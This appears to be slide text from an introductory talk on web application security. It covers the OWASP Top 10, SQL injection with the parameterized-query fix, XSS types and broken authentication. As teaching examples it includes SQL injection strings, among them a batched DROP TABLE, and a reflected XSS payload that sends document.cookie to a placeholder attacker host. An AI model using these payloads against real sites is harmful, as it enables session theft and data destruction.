Web application security
Liem Nguyen - Karivara
According to the OWASP Top 10 - 2017, the ten most critical web
application security risks include:
● Injection
● Broken authentication
● Sensitive data exposure
● XML external entities (XXE)
● Broken access control
● Security misconfiguration
● Cross-site scripting (XSS)
● Insecure deserialization
● Using components with known vulnerabilities
● Insufficient logging and monitoring
According to the OWASP Top 10 - 2017, the ten most critical web
application security risks include:
● Injection
● Broken authentication
● Sensitive data exposure
● XML external entities (XXE)
● Broken access control
● Security misconfiguration
● Cross-site scripting (XSS)
● Insecure deserialization
● Using components with known vulnerabilities
● Insufficient logging and monitoring
SQL Injection
txtUserId = getRequestString("UserId");
txtSQL = "SELECT * FROM Users WHERE UserId = " + txtUserId;
SELECT * FROM Users WHERE UserId = 100
SQL Injection Based on 1=1 is Always True
105 OR 1=1
SELECT * FROM Users WHERE UserId = 105 OR 1=1;
SQL Injection
uName = getRequestString("username");
uPass = getRequestString("userpassword");
sql = 'SELECT * FROM Users WHERE Name ="' + uName + '" AND Pass ="' + uPass + '"'
SELECT * FROM Users
WHERE Name ="John Doe" AND Pass ="myPass"
SQL Injection Based on ""="" is Always True
" or ""="
sql = 'SELECT * FROM Users WHERE Name ="' + uName + '" AND Pass ="' + uPass + '"'
SELECT * FROM Users
WHERE Name ="" or ""="" AND Pass ="" or ""=""
SQL Injection Based on Batched SQL Statements
txtUserId = getRequestString("UserId");
txtSQL = "SELECT * FROM Users WHERE UserId = " + txtUserId;
105; DROP TABLE Suppliers
SELECT * FROM Users WHERE UserId = 105; DROP TABLE
Suppliers;
Use SQL Parameters for Protection
txtUserId = getRequestString("UserId");
txtSQL = "SELECT * FROM Users WHERE UserId = @0";
db.Execute(txtSQL,txtUserId);
txtUserId = getRequestString("UserId");
sql = "SELECT * FROM Customers WHERE CustomerId = @0";
command = new SqlCommand(sql);
command.Parameters.AddWithValue("@0",txtUserID);
command.ExecuteReader();
Cross-site scripting (XSS)
Cross-site scripting (XSS)
● Reflected XSS, where the malicious script comes from the
current HTTP request.
● Stored XSS, where the malicious script comes from the
website's database.
● DOM-based XSS, where the vulnerability exists in client-side
code rather than server-side code.
Reflected XSS
Reflected XSS
A website print value which was input in URL such as variable Ping
karivara.com/?name=lnguyen
=> Hello lnguyen!
https://laptrinhcuocsong.com/toi-da-hack-cho-tot-nhu-the-nao.html
Reflected XSS
example.com/?name=<script>alert(document.cookie)</script>
Reflected XSS
http://example.com/name=<script>var+i=new+Image;+i.src=”http:/
/hacker-site.net/”%2bdocument.cookie;</script>
var i=new Image; i.src=”http://hacker-site.net/”+document.cookie;
GET /sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4
HTTP/1.1
Host: hacker-site.net
Stored XSS
Stored XSS
https://kipalog.com/posts/Toi-da-hack-trang-sendo-vn-nhu-the-nao--
Dom based XSS
BROKEN AUTHENTICATION AND SESSION MANAGEMENT
Example #1: URL rewriting
A travel reservations application supports URL rewriting, putting session IDs in the URL.
http://example.com/sale/saleitems;jsessionid=2P0OC2JSNDLPSKHCJUN2JV?dest=Hawaii
Risk: An authenticated user of the site wants to let their friends know about the sale. The user
e-mails the link above without realizing they are also giving away their session ID. When the
friends use the link they use the user’s session and credit card.
BROKEN AUTHENTICATION AND SESSION MANAGEMENT
Example #2: Application’s timeout is not set properly
The user utilizes a public computer to access a site. Instead of selecting “logout” the user
simply closes the browser tab and walks away. An attacker uses the same browser an hour
later, and that browser is still authenticated.
BROKEN AUTHENTICATION AND SESSION MANAGEMENT
Example #3: Passwords are not properly hashed and salted
An insider or external attacker gains access to the system’s password database. User
passwords are not properly hashed and salted, exposing every user’s password.
Risk: Stored username and password values should be salted and hashed, in addition to
being encrypted.
BROKEN AUTHENTICATION AND SESSION MANAGEMENT
Example #4: Predictable login credentials
Username and Password values that are easy to guess or that are used frequently can be
guessed by attackers to obtain unauthorized access.
Risk: Force users to use a strong password policy.
https://www.betterbuys.com/estimating-password-cracking-times/
Thank for listening.
